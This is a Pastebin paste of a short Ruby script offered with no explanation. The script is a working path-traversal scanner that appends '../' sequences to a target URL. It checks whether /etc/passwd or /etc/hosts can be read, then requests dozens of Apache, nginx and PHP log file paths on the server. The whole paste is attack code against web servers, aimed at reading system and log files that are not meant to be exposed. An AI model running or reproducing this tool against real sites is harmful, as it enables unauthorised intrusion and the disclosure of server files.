Advertisement
Guest User

Untitled

a guest
Jun 2nd, 2013
182
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 2.19 KB | None | 0 0
  1. #!/usr/bin/env ruby
  2. require 'net/http'
  3. require 'uri'
  4.  
  5. start = Time.now
  6.  
  7. def getLogs(url, logs)
  8.  
  9.   logs.each{ |currentLog|
  10.      uri = URI(url+currentLog)
  11.      body = Net::HTTP.get(uri)
  12.      puts "#{body.size}\t#{uri}"
  13.   }
  14.  
  15.  
  16. end
  17. def testPasswd(url)
  18.   passwd = "etc/passwd"
  19.   toReq = url + passwd 
  20.   root = "root:x:0:0:root:/root:/bin/bash"
  21.   uri = URI(toReq)
  22.  
  23.   body = Net::HTTP.get(uri)
  24.  
  25.   if body.include?(root)
  26.      return uri
  27.   end
  28. end
  29.  
  30. def testHosts(url)
  31.   hosts = "etc/hosts"
  32.   toReq = url + hosts
  33.   ip = "127.0.0.1"
  34.   host = "localhost"
  35.   uri = URI(toReq)
  36.  
  37.   body = Net::HTTP.get(uri)
  38.  
  39.   if body.include?(host) && body.include?(ip)
  40.    return uri
  41.   end
  42. end
  43.  
  44. unless ARGV.length == 1     #Verify if url is given
  45.     puts "Missing arguments"
  46.     exit
  47. end
  48.  
  49.  
  50. url = URI.decode(ARGV[0])
  51. nro = 5
  52. ret = "../"
  53.  
  54. logs = ['error.log', 'error_log', 'etc/httpd/conf/logs/error_log', 'etc/httpd/logs/error_log',
  55.           'home/php5/logs/error_log', 'log/error.log', 'log/error_log', 'logs/error.log',
  56.           'logs/error_log', 'usr/local/apache/error.log', 'usr/local/apache/log/error_log',
  57.           'usr/local/apache/logs/error_log', 'usr/local/apache2/log/error_log',
  58.           'usr/local/apache2/logs/access_log', 'usr/local/apache2/logs/error.log',
  59.           'usr/local/apache2/logs/error_log', 'usr/local/apachessl/logs/error_log',
  60.           'usr/local/httpd/log/error_log', 'usr/local/httpd/logs/error_log',
  61.           'usr/local/php/log/error_log', 'var/apache2/logs/access_log', 'var/apache2/logs/error_log',
  62.           'var/log/apache/error_log', 'var/log/apache2/access.log', 'var/log/apache2/access_log',
  63.           'var/log/apache2/error.log','var/log/apache2/error_log', 'var/log/httpd-access.log',
  64.           'var/log/httpd-error.log', 'var/log/httpd/access_log', 'var/log/httpd/error_log',
  65.           'var/log/nginx/error.log', 'var/log/php-fcgi/error_log',
  66.           'var/log/php-fpm/err.log', 'var/www/logs/access_log', 'var/www/logs/error_log']
  67.  
  68. nro.times { |c|
  69.   url = url + ret
  70.  
  71.   passwd = testPasswd(url)
  72.   hosts = testHosts(url)
  73.   if passwd || hosts
  74.    getLogs(url, logs)
  75.    fin  = Time.now - start
  76.    puts "El script tardo #{fin}"
  77.    exit
  78.   end
  79.    
  80.  
  81. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement